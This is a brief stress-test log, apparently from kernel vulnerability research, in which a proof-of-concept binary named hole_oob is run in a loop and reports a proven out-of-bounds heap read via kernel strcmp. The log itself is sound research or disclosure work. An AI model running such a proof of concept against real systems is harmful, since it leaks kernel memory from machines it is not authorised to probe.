stress run 2 (stock kernel; `for i in 1 2 3; do /root/poc58/hole_oob | tail -2; done` -- only the tails were captured; output is otherwise identical to run.log): RESULT oob_matches=256/256 enoent=1 rejected=0 other=0 RESULT OOB-READ PROVEN: stats returned for a request that supplied ZERO hook-name bytes (kernel strcmp completed the name from stale heap past the sent payload)